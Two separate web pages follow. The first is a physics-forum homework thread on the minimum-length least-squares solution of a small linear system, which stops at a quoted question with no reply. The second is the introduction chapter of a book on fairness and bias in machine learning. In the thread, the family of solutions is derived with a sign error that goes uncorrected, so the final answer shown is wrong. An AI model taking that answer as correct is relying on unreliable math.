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https://www.physicsforums.com/threads/least-squares-problem-am-i-solving-it-correctly.851765/
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# Least squares problem: am I solving it correctly?
#### Granger
1. Homework Statement
In R^3 with inner product calculate all the least square solutions, and choose the one with shorter length, of the system:
x + y + z = 1
x + z = 0
y = 0
2. The attempt at a solution
So I applied the formula A^T A x = A^T b with A as being the matrix with row 1 (1,1,1) row 2 (1,0,1) and row 3 (0,1,0); x being the column (x_1,x_2,x_3) and b being the column (1,0,0).
So I did it and I reached to the solution (x_1, \frac {1}{3}, \frac {1}{3} + x_1)
And I expanded this solution in two vectors (0, \frac {1}{3}, \frac {1}{3}) and (1,0,1).
So these are the least square solutions and the one with shorter length is the first one.
My doubt is if I'm doing this correctly or if I made any mistake because I used an online calculator that only give one least square solution. Can someone help me to verify my attempt? Thanks!
Related Precalculus Mathematics Homework Help News on Phys.org
#### Ray Vickson
Homework Helper
Dearly Missed
1. Homework Statement
In R^3 with inner product calculate all the least square solutions, and choose the one with shorter length, of the system:
x + y + z = 1
x + z = 0
y = 0
2. The attempt at a solution
So I applied the formula A^T A x = A^T b with A as being the matrix with row 1 (1,1,1) row 2 (1,0,1) and row 3 (0,1,0); x being the column (x_1,x_2,x_3) and b being the column (1,0,0).
So I did it and I reached to the solution (x_1, \frac {1}{3}, \frac {1}{3} + x_1)
And I expanded this solution in two vectors (0, \frac {1}{3}, \frac {1}{3}) and (1,0,1).
So these are the least square solutions and the one with shorter length is the first one.
My doubt is if I'm doing this correctly or if I made any mistake because I used an online calculator that only give one least square solution. Can someone help me to verify my attempt? Thanks!
Your LS solution is OK, but you have not found the one with the shortest length. You need to figure out what value of x_1 leads to the smallest value of $L$, where $L$ is the "length" of the solution, with $L^2 = x^2 + y^2 + z^2$. Note that minimizing $L$ will be equivalent to the simpler problem of minimizing $L^2$, and that just amounts to finding the smallest value of a quadratic function of x_1.
BTW: the reason for the discrepancy is that some LS programs give just one of the LS solutions, even when there are many to choose from. That is because they apply an algorithm in which certain tests are performed and certain steps taken in accord with the tests, but if there are a choice of many possible steps, they just take one of them (chosen according to some well-defined rule, usually).
#### Granger
So in that case I need to minimize the square of the length of (x_1, \frac{1}{3}, \frac{1}{3} + x_1) right? Because if I minimize the square length of (x_1, 0, x_1) I reach to a zero solution, right?
Than I can write that the family of the least squares solution is (x_1, \frac{1}{3}, \frac{1}{3} + x_1). And the minimum solution is given by (\frac{-8}{3}, \frac{1}{3}, \frac{-7}{3})
Thanks for the help!
#### SteamKing
Staff Emeritus
Homework Helper
So in that case I need to minimize the square of the length of (x_1, \frac{1}{3}, \frac{1}{3} + x_1) right? Because if I minimize the square length of (x_1, 0, x_1) I reach to a zero solution, right?
Than I can write that the family of the least squares solution is (x_1, \frac{1}{3}, \frac{1}{3} + x_1). And the minimum solution is given by (\frac{-8}{3}, \frac{1}{3}, \frac{-7}{3})
Thanks for the help!
When writing Latex in posts either enclose the expressions in double # for in-line latex or double \$ for regular multi-line Latex. Also, use the Preview button located at the Lower right hand corner to check how the formatting will appear before posting.
Example: $(x_1, \frac{1}{3}, \frac{1}{3} + x_1)$
#### Ray Vickson
Homework Helper
Dearly Missed
So in that case I need to minimize the square of the length of (x_1, \frac{1}{3}, \frac{1}{3} + x_1) right? Because if I minimize the square length of (x_1, 0, x_1) I reach to a zero solution, right?
*********************
I don't understand your question, but it does not sound right to me. Basically all your LS solutions lie on a line (t, 1/3, t + 1/3) in (x,y,z)-space [because as you vary t those points trace out a line], and you want to find the point on the line that comes closest to the origin (0,0,0). You will not go through the origin, so the distance will never equal 0, but some points on the line are a lot farther away from the origin than others. For some reason, the person setting the question wants the closest point.
*************************
Than I can write that the family of the least squares solution is (x_1, \frac{1}{3}, \frac{1}{3} + x_1). And the minimum solution is given by (\frac{-8}{3}, \frac{1}{3}, \frac{-7}{3})
Thanks for the help!
I don't think your final solution is correct.
Last edited:
#### Granger
I don't think your final solution is correct.
Then how do you think I should do it? I'm not understanding...
#### Ray Vickson
Homework Helper
Dearly Missed
Then how do you think I should do it? I'm not understanding...
What did you do? Show your work.
#### Granger
I already explained in my first post !
#### Ray Vickson
Homework Helper
Dearly Missed
I already explained in my first post !
No, you didn't. You explained how you got $(x,y,z) = (x_1, \frac{1}{3}, \frac{1}{3} + x_1)$. But, how do you go from that to $(-\frac{8}{3}, \frac{1}{3}, -\frac{7}{3})\,$? You did not show that. Besides, that answer is incorrect.
#### Granger
So what I did was:
I took the square of the length:
$$(x_1)^2 + \frac {2}{9} + \frac {2}{3} x_1$$
And then I calculated the 1st derivative of this expression and zero gave me value for x_1: -8/3
I made a substitution of this value in my original expression and I got my solution
Last edited:
#### Ray Vickson
Homework Helper
Dearly Missed
So what I did was:
I took the square of the length:
$$(x_1)^2 + \frac {2}{9} + \frac {2}{3} x_1$$
And then I calculated the 1st derivative of this expression and zero gave me value for x_1: -8/3
I made a substitution of this value in my original expression and I got my solution
Well, the square of the length is
$$x^2 + y^2 + z^2 =x_1^2 + (1/3)^2 + (x_1 + 1/3)^2$$.
That is a bit different from what you wrote.
#### Granger
Right, thanks! I corrected that and now I have as a solution $$(\frac{-1}{6}, \frac{1}{3}, \frac{1}{6})$$ is this correct now?
#### Ray Vickson
Right, thanks! I corrected that and now I have as a solution $$(\frac{-1}{6}, \frac{1}{3}, \frac{1}{6})$$ is this correct now?
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2019-11-21 23:20:38
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https://fairmlbook.org/introduction.html
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Chapter 1
# Introduction
Our success, happiness, and wellbeing are never fully of our own making. Others’ decisions can profoundly affect the course of our lives: whether to admit us to a particular school, offer us a job, or grant us a mortgage. Arbitrary, inconsistent, or faulty decision-making thus raises serious concerns because it risks limiting our ability to achieve the goals that we have set for ourselves and access the opportunities for which we are qualified.
So how do we ensure that these decisions are made the right way and for the right reasons? While there’s much to value in fixed rules, applied consistently, good decisions take available evidence into account. We expect admissions, employment, and lending decisions to rest on factors that are relevant to the outcome of interest.
Identifying details that are relevant to a decision might happen informally and without much thought: employers might observe that people who study math seem to perform particularly well in the financial industry. But they could test these observations against historical evidence by examining the degree to which one’s major correlates with success on the job. This is the traditional work of statistics—and it promises to provide a more reliable basis for decision-making by quantifying how much weight to assign certain details in our determinations.
Decades of research have compared the accuracy of statistical models to the judgments of humans, even experts with years of experience, and found that in many situations data-driven decisions trounce those based on intuition or expertise.Robyn M Dawes, David Faust, and Paul E Meehl, “Clinical Versus Actuarial Judgment,” Science 243, no. 4899 (1989): 1668–74.
These results have been welcomed as a way to ensure that the high-stakes decisions that shape our life chances are both accurate and fair.
Machine learning promises to bring greater discipline to decision-making because it offers to uncover factors that are relevant to decision-making that humans might overlook, given the complexity or subtlety of the relationships in historical evidence. Rather than starting with some intuition about the relationship between certain factors and an outcome of interest, machine learning lets us defer the question of relevance to the data themselves: which factors—among all that we have observed—bear a statistical relationship to the outcome.
Uncovering patterns in historical evidence can be even more powerful than this might seem to suggest. Recent breakthroughs in computer vision—specifically object recognition—reveal just how much pattern-discovery can achieve. In this domain, machine learning has helped to overcome a strange fact of human cognition: while we may be able to effortlessly identify objects in a scene, we are unable to specify the full set of rules that we rely upon to make these determinations. We cannot hand code a program that exhaustively enumerates all the relevant factors that allow us to recognize objects from every possible perspective or in all their potential visual configurations. Machine learning aims to solve this problem by abandoning the attempt to teach a computer through explicit instruction in favor of a process of learning by example. By exposing the computer to many examples of images containing pre-identified objects, we hope the computer will learn the patterns that reliably distinguish different objects from one another and from the environments in which they appear.
This can feel like a remarkable achievement, not only because computers can now execute complex tasks but also because the rules for deciding what appears in an image seem to emerge from the data themselves.
But there are serious risks in learning from examples. Learning is not a process of simply committing examples to memory. Instead, it involves generalizing from examples: honing in on those details that are characteristic of (say) cats in general, not just the specific cats that happen to appear in the examples. This is the process of induction: drawing general rules from specific examples—rules that effectively account for past cases, but also apply to future, as yet unseen cases, too. The hope is that we’ll figure out how future cases are likely to be similar to past cases, even if they are not exactly the same.
This means that reliably generalizing from historical examples to future cases requires that we provide the computer with good examples: a sufficiently large number of examples to uncover subtle patterns; a sufficiently diverse set of examples to showcase the many different types of appearances that objects might take; a sufficiently well-annotated set of examples to furnish machine learning with reliable ground truth; and so on. Thus, evidence-based decision-making is only as reliable as the evidence on which it is based, and high quality examples are critically important to machine learning. The fact that machine learning is “evidence-based” by no means ensures that it will lead to accurate, reliable, or fair decisions.
This is especially true when using machine learning to model human behavior and characteristics. Our historical examples of the relevant outcomes will almost always reflect historical prejudices against certain social groups, prevailing cultural stereotypes, and existing demographic inequalities. And finding patterns in these data will often mean replicating these very same dynamics.
We write this book as machine learning begins to play a role in especially consequential decision-making. In the criminal justice system, defendants are assigned statistical scores that are intended to predict the risk of committing future crimes, and these scores inform decisions about bail, sentencing, and parole. In the commercial sphere, firms use machine learning to analyze and filter resumes of job applicants. And statistical methods are of course the bread and butter of lending, credit, and insurance underwriting.
At the same time, machine learning powers everyday applications that might seem frivolous in comparison but collectively have a powerful effect on shaping our culture: search engines, news recommenders, and ad targeting algorithms influence our information diet and our worldviews; chatbots and social recommendation engines mediate our interactions with the world.
This book is an attempt to survey the risks in these and many other applications of machine learning, and to provide a critical review of an emerging set of proposed solutions. It will show how even well-intentioned applications of machine learning might give rise to objectionable results. And it will introduce formal methods for characterizing these problems and assess various computational methods for addressing them.
# Demographic disparities
Amazon uses a data-driven system to determine the neighborhoods in which to offer free same-day delivery.We don’t know the details of how Amazon’s system works, and in particular we don’t know to what extent it uses machine learning. The same is true of many other systems reported on in the press. Nonetheless, we’ll use these as motivating examples when a machine learning system for the task at hand would plausibly show the same behavior.
A 2016 study found stark disparities in the demographic makeup of these neighborhoods: in many U.S. cities, white residents were more than twice as likely as black residents to live in one of the qualifying neighborhoods.David Ingold and Spencer Soper, “Amazon Doesn’t Consider the Race of Its Customers. Should It?” (https://www.bloomberg.com/graphics/2016-amazon-same-day/, 2016).
In Chapter 2 we’ll see how to make our intuition about demographic disparities mathematically precise, and we’ll see that there are many possible ways of measuring these inequalities. The pervasiveness of such disparities in machine learning applications is a key concern of this book.
When we observe disparities, it doesn’t imply that the designer of the system intended for such inequalities to arise. Looking beyond intent, it’s important to understand when observed disparities can be considered to be discrimination. In turn, two key questions to ask are whether the disparities are justified and whether they are harmful. These questions rarely have simple answers, but the extensive literature on discrimination in philosophy and sociology can help us reason about them.
To understand why the racial disparities in Amazon’s system might be harmful, we must keep in mind the history of racial prejudice in the United States, its relationship to geographic segregation and disparities, and the perpetuation of those inequalities over time. Amazon argued that its system was justified because it was designed based on efficiency and cost considerations and that race wasn’t an explicit factor. Nonetheless, it has the effect of providing different opportunities to consumers at racially disparate rates. The concern is that this might contribute to the perpetuation of long-lasting cycles of inequality. If, instead, the system had been found to be partial to ZIP codes ending in an odd digit, it would not have triggered a similar outcry.
The term bias is often used to refer to demographic disparities in algorithmic systems that are objectionable for societal reasons. We’ll avoid using this sense of the word bias in this book, since it means different things to different people. There’s a more traditional use of the term bias in statistics and machine learning. Suppose that Amazon’s estimates of delivery dates/times were consistently too early by a few hours. This would be a case of statistical bias. A statistical estimator is said to be biased if its expected or average value differs from the true value that it aims to estimate. Statistical bias is a fundamental concept in statistics, and there is a rich set of established techniques for analyzing and avoiding it.
There are many other measures that quantify desirable statistical properties of a predictor or an estimator, such as precision, recall, and calibration. These are similarly well understood; none of them require any knowledge of social groups and are relatively straightforward to measure. The attention to demographic criteria in statistics and machine learning is a relatively new direction. This reflects a change in how we conceptualize machine learning systems and the responsibilities of those building them. Is our goal to faithfully reflect the data? Or do we have an obligation to question the data, and to design our systems to conform to some notion of equitable behavior, regardless of whether or not that’s supported by the data currently available to us? These perspectives are often in tension, and the difference between them will become clearer when we delve into stages of machine learning.
# The machine learning loop
Let’s study the pipeline of machine learning and understand how demographic disparities propagate through it. This approach lets us glimpse into the black box of machine learning and will prepare us for the more detailed analyses in later chapters. Studying the stages of machine learning is crucial if we want to intervene to minimize disparities.
The figure below shows the stages of a typical system that produces outputs using machine learning. Like any such diagram, it is a simplification, but it is useful for our purposes.
The first stage is measurement, which is the process by which the state of the world is reduced to a set of rows, columns, and values in a dataset. It’s a messy process, because the real world is messy. The term measurement is misleading, evoking an image of a dispassionate scientist recording what she observes, whereas we’ll see that it requires subjective human decisions.
The ‘learning’ in machine learning refers to the next stage, which is to turn that data into a model. A model summarizes the patterns in the training data; it makes generalizations. A model could be trained using supervised learning via an algorithm such as Support Vector Machines, or using unsupervised learning via an algorithm such as k-means clustering. It could take many forms: a hyperplane or a set of regions in n-dimensional space, or a set of distributions. It is typically represented as a set of weights or parameters.
The next stage is the action we take based on the model’s predictions, which are applications of the model to new, unseen inputs. ‘Prediction’ is another misleading term—while it does sometimes involve trying to predict the future (“is this patient at high risk for cancer?”), usually it doesn’t. It can take the form of classification (determine whether a piece of email is spam), regression (assigning risk scores to defendants), or information retrieval (finding documents that best match a search query).
The corresponding actions in these three applications might be: depositing the email in the user’s inbox or spam folder, deciding whether to set bail for the defendant’s pre-trial release, and displaying the retrieved search results to the user. They may differ greatly in their significance to the individual, but they have in common that the collective responses of individuals to these decisions alter the state of the world—that is, the underlying patterns that the system aims to model.
Some machine learning systems record feedback from users (how users react to actions) and use them to refine the model. For example, search engines track what users click on as an implicit signal of relevance or quality. Feedback can also occur unintentionally, or even adversarially; these are more problematic, as we’ll explore later in this chapter.
# The state of society
In this book, we’re concerned with applications of machine learning that involve data about people. In these applications, the available training data will likely encode the demographic disparities that exist in our society. For example, the figure shows the gender breakdown of a sample of occupations in the United States, based on data released by the Bureau of Labor Statistics for the year 2017.The percentage of women in a sample of occupations in the United States. The area of the bubble represents the number of workers.
Unsurprisingly, many occupations have stark gender imbalances. If we’re building a machine learning system that screens job candidates, we should be keenly aware that this is the baseline we’re starting from. It doesn’t necessarily mean that the outputs of our system will be inaccurate or discriminatory, but throughout this chapter we’ll see how it complicates things.
Why do these disparities exist? There are many potentially contributing factors, including a history of explicit discrimination, implicit attitudes and stereotypes about gender, and differences in the distribution of certain characteristics by gender. We’ll see that even in the absence of explicit discrimination, stereotypes can be self-fulfilling and persist for a long time in society. As we integrate machine learning into decision-making, we should be careful to ensure that ML doesn’t become a part of this feedback loop.
What about applications that aren’t about people? Consider “Street Bump,” a project by the city of Boston to crowdsource data on potholes. The smartphone app automatically detects pot holes using data from the smartphone’s sensors and sends the data to the city. Infrastructure seems like a comfortably boring application of data-driven decision-making, far removed from the ethical quandaries we’ve been discussing.
And yet! Kate Crawford points out that the data reflect the patterns of smartphone ownership, which are higher in wealthier parts of the city compared to lower-income areas and areas with large elderly populations.Kate Crawford, “The Hidden Biases in Big Data,” Harvard Business Review 1 (2013).
The lesson here is that it’s rare for machine learning applications to not be about people. In the case of Street Bump, the data is collected by people, and hence reflects demographic disparities; besides, the reason we’re interested in improving infrastructure in the first place is its effect on people’s lives.
To drive home the point that most machine learning applications involve people, we analyzed Kaggle, a well-known platform for data science competitions. We focused on the top 30 competitions sorted by prize amount. In 14 of these competitions, we observed that the task is to make decisions about individuals. In most of these cases, there exist societal stereotypes or disparities that may be perpetuated by the application of machine learning. For example, the Automated Essay ScoringKaggle, “The Hewlett Foundation: Automated Essay Scoring” (https://www.kaggle.com/c/asap-aes, 2012).
task seeks algorithms that attempt to match the scores of human graders of student essays. Students’ linguistic choices are signifiers of social group membership, and human graders are known to sometimes have prejudices based on such factors.Rema N Hanna and Leigh L Linden, “Discrimination in Grading,” American Economic Journal: Economic Policy 4, no. 4 (2012): 146–68; Maresa Sprietsma, “Discrimination in Grading: Experimental Evidence from Primary School Teachers,” Empirical Economics 45, no. 1 (2013): 523–38.
Thus, because human graders must provide the original labels, automated grading systems risk enshrining any such biases that are captured in the training data.
In a further 5 of the 30 competitions, the task did not call for making decisions about people, but decisions made using the model would nevertheless directly impact people. For example, one competition sponsored by real-estate company Zillow calls for improving the company’s “Zestimate” algorithm for predicting home sale prices. Any system that predicts a home’s future sale price (and publicizes these predictions) is likely to create a self-fulfilling feedback loop in which homes predicted to have lower sale prices deter future buyers, suppressing demand and lowering the final sale price.
In 9 of the 30 competitions, we did not find an obvious, direct impact on people, such as a competition on predicting ocean health (of course, even such competitions have indirect impacts on people, due to actions that we might take on the basis of the knowledge gained). In two cases, we didn’t have enough information to make a determination.
To summarize, human society is full of demographic disparities, and training data will likely reflect these. We’ll now turn to the process by which training data is constructed, and see that things are even trickier.
# The trouble with measurement
The term measurement suggests a straightforward process, calling to mind a camera objectively recording a scene. In fact, measurement is fraught with subjective decisions and technical difficulties.
Consider a seemingly straightforward task: measuring the demographic diversity of college campuses. A recent New York Times article aimed to do just this, and was titled “Even With Affirmative Action, Blacks and Hispanics Are More Underrepresented at Top Colleges Than 35 Years Ago.”Jeremy Ashkenas, Haeyoun Park, and Adam Pearce, “Even with Affirmative Action, Blacks and Hispanics Are More Underrepresented at Top Colleges Than 35 Years Ago” (https://www.nytimes.com/interactive/2017/08/24/us/affirmative-action.html, 2017).
The authors argue that the gap between enrolled black and Hispanic freshmen and the black and Hispanic college-age population has grown over the past 35 years. To support their claim, they present demographic information for more than 100 American universities and colleges from the year 1980 to 2015, and show how the percentages of black, Hispanic, Asian, white, and multiracial students have changed over the years. Interestingly, the multiracial category was only recently introduced in 2008, but the comparisons in the article ignore the introduction of this new category. How many students who might have checked the “white” or “black” box checked the “multiracial” box instead? How might this have affected the percentages of “white” and “black” students at these universities? Furthermore, individuals’ and society’s conception of race changes over time. Would a person with black and Latino parents be more inclined to self-identify as black in 2015 than in the 1980s? The point is that even a seemingly straightforward question about trends in demographic diversity is impossible to answer without making some assumptions, and illustrates the difficulties of measurement in a world that resists falling neatly into a set of checkboxes. Race is not a stable category; how we measure race often changes how we conceive of it, and changing conceptions of race may force us to alter what we measure.
To be clear, this situation is typical: measuring almost any attribute about people is similarly subjective and challenging. If anything, things are more chaotic when machine learning researchers have to create categories, as is often the case.
One area where machine learning practitioners often have to define new categories is in defining the target variable.Solon Barocas and Andrew D. Selbst, “Big Data’s Disparate Impact,” California Law Review 104 (2016).
This is the outcome that we’re trying to predict – will the defendant recidivate if released on bail? Will the candidate be a good employee if hired? And so on.
Biases in the training set’s target variable are especially critical, because they are guaranteed to bias the predictions (not necessarily so with other attributes). But the target variable is arguably the hardest from a measurement standpoint, because it is often a construct that is made up for the purposes of the problem at hand rather than one that is widely understood and measured. For example, “creditworthiness” is a construct that was created in the context of the problem of how to successfully extend credit to consumers;Barocas and Selbst.
it is not an intrinsic property that people either possess or lack.
If our target variable is the idea of a “good employee”, we might use performance review scores to quantify it. This means that our data inherits any biases present in managers’ evaluations of their reports. Another example: the use of computer vision to automatically rank people’s physical attractiveness.Lizzie Plaugic, “FaceApp’s Creator Apologizes for the App’s Skin-Lightening ‘Hot’ Filter” (The Verge. https://www.theverge.com/2017/4/25/15419522/faceapp-hot-filter-racist-apology, 2017); Rowland Manthorpe, “The Beauty.ai Robot Beauty Contest Is Back” (Wired UK. https://www.wired.co.uk/article/robot-beauty-contest-beauty-ai, 2017).
The training data consists of human evaluation of attractiveness, and, unsurprisingly, all these classifiers showed a preference for lighter skin.
In some cases we might be able to get closer to a more objective definition for a target variable, at least in principle. For example, in criminal risk assessment, the training data is not judges’ decisions on who should get bail, but rather based on who actually went on to commit a crime. But there’s at least one big caveat—we can’t really measure who committed a crime, so we use arrests as a proxy. This replaces the biases of judges with the biases of policing. On the other hand, if our target variable is whether the defendant appears or fails to appear in court for trial, we would be able to measure it directly with perfect accuracy. That said, we may still have concerns about a system that treats defendants differently based on predicted probability of appearance, given that some reasons for failing to appear are less objectionable than others (trying to hold down a job that would not allow for time off versus trying to avoid prosecution).
In hiring, instead of relying on performance reviews for (say) a sales job, we might rely on the number of sales closed. But is that an objective measurement or is it subject to the biases of the potential customers (who might respond more positively to certain salespeople than others) and workplace conditions (which might be a hostile environment for some, but not others)?
In some applications, researchers repurpose an existing scheme of classification to define the target variable rather than creating one from scratch. For example, an object recognition system can be created by training a classifier on ImageNet, a database of images organized in a hierarchy of concepts.J. Deng et al., “ImageNet: A Large-Scale Hierarchical Image Database,” in CVPR09, 2009.
ImageNet’s hierarchy comes from Wordnet, a database of words, categories, and the relationships among them.George A Miller, “WordNet: A Lexical Database for English,” Communications of the ACM 38, no. 11 (1995): 39–41.
Wordnet’s authors in turn imported the word lists from a number of older sources, such as thesauri. As a result, WordNet (and ImageNet) categories contain numerous outmoded words and associations, such as occupations that no longer exist and stereotyped gender associations. Thus, ImageNet-trained object recognition systems assume a categorization of the world that is mismatched with the world in which they operate.
We think of technology changing rapidly and society being slow to adapt, but at least in this instance, the categorization scheme at the heart of much of today’s machine learning technology has been frozen in time while social norms have changed rapidly.
Our favorite example of measurement bias has to do with cameras, which we referenced at the beginning of the section as the exemplar of dispassionate observation and recording. But are they?
The visual world has an essentially infinite bandwidth compared to what can be captured by cameras, whether film or digital, which means that photography technology involves a series of choices about what is relevant and what isn’t, and transformations of the captured data based on those choices. Both film and digital cameras have historically been more adept at photographing lighter-skinned individuals.Lorna Roth, “Looking at Shirley, the Ultimate Norm: Colour Balance, Image Technologies, and Cognitive Equity,” Canadian Journal of Communication 34, no. 1 (2009): 111.
One reason is the default settings such as color balance which were optimized for lighter skin tones. Another, deeper reason is the limited “dynamic range” of cameras, which makes it hard to capture brighter and darker tones in the same image. This started changing in the 1970s, in part due to complaints from furniture companies and chocolate companies about the difficulty of photographically capturing the details of furniture and chocolate respectively! Another impetus came from the increasing diversity of television subjects at this time.
When we go from individual images to datasets of images, we introduce another layer of potential biases. Consider the image datasets that are used to train today’s computer vision systems for tasks such as object recognition. If these datasets were representative samples of an underlying visual world, we might expect that a computer vision system trained on one such dataset would do well on another dataset. But in reality, we observe a big drop in accuracy when we train and test on different datasets.Antonio Torralba and Alexei A Efros, “Unbiased Look at Dataset Bias,” in Computer Vision and Pattern Recognition (Cvpr), 2011 Ieee Conference on (IEEE, 2011), 1521–8.
This shows that these datasets are biased relative to each other in a statistical sense, and is a good starting point for investigating whether these biases include cultural stereotypes.
It’s not all bad news: machine learning can in fact help mitigate measurement biases. Returning to the issue of dynamic range in cameras, computational techniques, including machine learning, are making it possible to improve the representation of tones in images.Zicheng Liu, Cha Zhang, and Zhengyou Zhang, “Learning-Based Perceptual Image Quality Improvement for Video Conferencing,” in Multimedia and Expo, 2007 Ieee International Conference on (IEEE, 2007), 1035–8; Liad Kaufman, Dani Lischinski, and Michael Werman, “Content-Aware Automatic Photo Enhancement,” in Computer Graphics Forum, vol. 31, 8 (Wiley Online Library, 2012), 2528–40; Nima Khademi Kalantari and Ravi Ramamoorthi, “Deep High Dynamic Range Imaging of Dynamic Scenes,” ACM Trans. Graph 36, no. 4 (2017): 144.
Another example comes from medicine: diagnoses and treatments are sometimes personalized by race. But it turns out that race is used as a crude proxy for ancestry and genetics, and sometimes environmental and behavioral factors.Vence L Bonham, Shawneequa L Callier, and Charmaine D Royal, “Will Precision Medicine Move Us Beyond Race?” The New England Journal of Medicine 374, no. 21 (2016): 2003; James F Wilson et al., “Population Genetic Structure of Variable Drug Response,” Nature Genetics 29, no. 3 (2001): 265.
If we can measure these genetic and lifestyle factors and incorporate them—instead of race—into statistical models of disease and drug response, we can increase the accuracy of diagnoses and treatments while mitigating racial biases.
To summarize, measurement involves defining your variables of interest, the process for interacting with the real world and turning your observations into numbers, and then actually collecting the data. Usually machine learning practitioners don’t think about these steps, because someone else has already done those things. And yet it is crucial to understand the provenance of the data. Even if someone else has collected the data for you, it’s almost always too messy for your algorithms to handle, hence the dreaded “data cleaning” step. But the messiness of the real world isn’t just an annoyance to be dealt with by cleaning, it is instead a manifestation of the limitations of data-driven techniques.
# From data to models
We’ve seen that training data reflects the disparities, distortions, and biases from the real world and the measurement process. This leads to an obvious question: when we learn a model from such data, are these disparities preserved, mitigated, or exacerbated?
Predictive models trained with supervised learning methods are often good at calibration: ensuring that the model’s prediction subsumes all features in the data for the purpose of predicting the outcome. By contrast, human intuition is notoriously poor at accounting for priors, and this is a major reason that statistical predictions perform better in a wide variety of settings. But calibration also means that by default, we should expect our models to faithfully reflect disparities found in the input data.
Here’s another way to think about it. Some patterns in the training data (smoking is associated with cancer) represent knowledge that we wish to mine using machine learning, while other patterns (girls like pink and boys like blue) represent stereotypes that we might wish to avoid learning. But learning algorithms have no general way to distinguish between these two types of patterns, because they are the result of social norms and moral judgments. Absent specific intervention, machine learning will extract stereotypes, including incorrect and harmful ones, in the same way that it extracts knowledge.
A telling example of this comes from machine translation. The screenshot on the right shows the result of translating sentences from English to Turkish and back.Translating from English to Turkish, then back to English injects gender stereotypes.**
The same stereotyped translations result for many pairs of languages and other occupation words in all translation engines we’ve tested. It’s easy to see why. Turkish has gender neutral pronouns, and when translating such a pronoun to English, the system picks the sentence that best matches the statistics of the training set (which is typically a large, minimally curated corpus of historical text and text found on the web).
When we build a statistical model of language from such text, we should expect the gender associations of occupation words to roughly mirror real-world labor statistics. In addition, because of the male-as-norm biasMarcel Danesi, Dictionary of Media and Communications (Routledge, 2014).
(the use of male pronouns when the gender is unknown) we should expect translations to favor male pronouns. It turns out that when we repeat the experiment with dozens of occupation words, these two factors—labor statistics and the male-as-norm bias—together almost perfectly predict which pronoun will be returned.Aylin Caliskan, Joanna J. Bryson, and Arvind Narayanan, “Semantics Derived Automatically from Language Corpora Contain Human-Like Biases,” Science 356, no. 6334 (2017): 183–86.
Here’s a tempting response to the observation that models reflect data biases. Suppose we’re building a model for scoring resumes for a programming job. What if we simply withhold gender from the data? Surely the resulting model can’t be gender biased? Unfortunately, it’s not that simple, because of the problem of proxiesBarocas and Selbst, “Big Data’s Disparate Impact.”
or redundant encodings,Moritz Hardt, “How Big Data Is Unfair” (https://medium.com/@mrtz/how-big-data-is-unfair-9aa544d739de, 2014).
as we’ll discuss in the next chapter. There are any number of other attributes in the data that might correlate with gender. In our culture, the age at which someone starts programming is well known to be correlated with gender. This illustrates another problem with proxies: they may be genuinely relevant to the decision at hand. How long someone has been programming is a factor that gives us valuable information about their suitability for a programming job, but it also reflects the reality of gender stereotyping.
Finally, it’s also possible for the learning step to introduce demographic disparities that aren’t in the training data. The most common reason for this is the sample size disparity. If we construct our training set by sampling uniformly from the training data, then by definition we’ll have fewer data points about minorities. Of course, machine learning works better when there’s more data, so it will work less well for members of minority groups, assuming that members of the majority and minority groups are systematically different in terms of the prediction task.Hardt.
Worse, in many settings minority groups are underrepresented relative to population statistics. For example, minority groups are underrepresented in the tech industry. Different groups might also adopt technology at different rates, which might skew datasets assembled form social media. If training sets are drawn from these unrepresentative contexts, there will be even fewer training points from minority individuals. For example, many products that incorporate face-detection technology have been reported to have trouble with non-Caucasian faces, and it’s easy to guess why.Hardt.
When we develop machine-learning models, we typically only test their overall accuracy; so a “5% error” statistic might hide the fact that a model performs terribly for a minority group. Reporting accuracy rates by group will help alert us to problems like the above example. In the next chapter, we’ll look at metrics that quantify the error-rate disparity between groups.
There’s one application of machine learning where we find especially high error rates for minority groups: anomaly detection. This is the idea of detecting behavior that deviates from the norm as evidence of abuse against a system. A good example is the Nymwars controversy, where Google, Facebook, and other tech companies aimed to block users who used uncommon (hence, presumably fake) names.
Further, suppose that in some cultures, most people receive names from a small set of names, whereas in other cultures, names might be more diverse, and it might be common for names to be unique. For users in the latter culture, a popular name would be more likely to be fake. In other words, the same feature that constitutes evidence towards a prediction in one group might constitute evidence against the prediction for another group.Hardt.
If we’re not careful, learning algorithms will generalize based on the majority culture, leading to a high error rate for minority groups. This is because of the desire to avoid overfitting, that is, picking up patterns that arise due to random noise rather than true differences. One way to avoid this is to explicitly model the differences between groups, although there are both technical and ethical challenges associated with this, as we’ll show in later chapters.
# The pitfalls of action
Any real machine-learning system seeks to make some change in the world. To understand its effects, then, we have to consider it in the context of the larger socio-technical system in which it is embedded.
In Chapter 2, we’ll see that if a model is calibrated—it faithfully captures the patterns in the underlying data—predictions made using that model will inevitably have disparate error rates for different groups, if those groups have different base rates, that is, rates of positive or negative outcomes. In other words, understanding the properties of a prediction requires understanding not just the model, but also the population differences between the groups on which the predictions are applied.
Further, population characteristics can shift over time; this is a well-known machine learning phenomenon known as drift. If sub-populations change differently over time, that can introduce disparities. An additional wrinkle: whether or not disparities are objectionable may differ between cultures, and may change over time as social norms evolve.
When people are subject to automated decisions, their perception of those decisions depends not only on the outcomes but also the process of decision-making. An ethical decision-making process might require, among other things, the ability to explain a prediction or decision, which might not be feasible with black-box models.
A major limitation of machine learning is that it only reveals correlations, but we often use its predictions as if they reveal causation. This is a persistent source of problems. For example, an early machine learning system in healthcare famously learned the seemingly nonsensical rule that patients with asthma had lower risk of developing pneumonia. This was a true pattern in the data, but the likely reason was that asthmatic patients were more likely to receive in-patient care.Rich Caruana et al., “Intelligible Models for Healthcare: Predicting Pneumonia Risk and Hospital 30-Day Readmission,” in Proceedings of the 21th Acm Sigkdd International Conference on Knowledge Discovery and Data Mining (ACM, 2015), 1721–30.
So it’s not valid to use the prediction to decide whether or not to admit a patient. We’ll discuss causality in Chapter 4.
Another way to view this example is that the prediction affects the outcome (because of the actions taken on the basis of the prediction), and thus invalidates itself. The same principle is also seen in the use of machine learning for predicting traffic congestion: if sufficiently many people choose their routes based on the prediction, then the route predicted to be clear will in fact be congested. The effect can also work in the opposite direction: the prediction might reinforce the outcome, resulting in feedback loops. To better understand how, let’s talk about the final stage in our loop: feedback.
# Feedback and feedback loops
Many systems receive feedback when they make predictions. When a search engine serves results, it typically records the links that the user clicks on and how long the user spends on those pages, and treats these as implicit signals about which results were found to be most relevant. When a video sharing website recommends a video, it uses the thumbs up/down feedback as an explicit signal. Such feedback is used to refine the model.
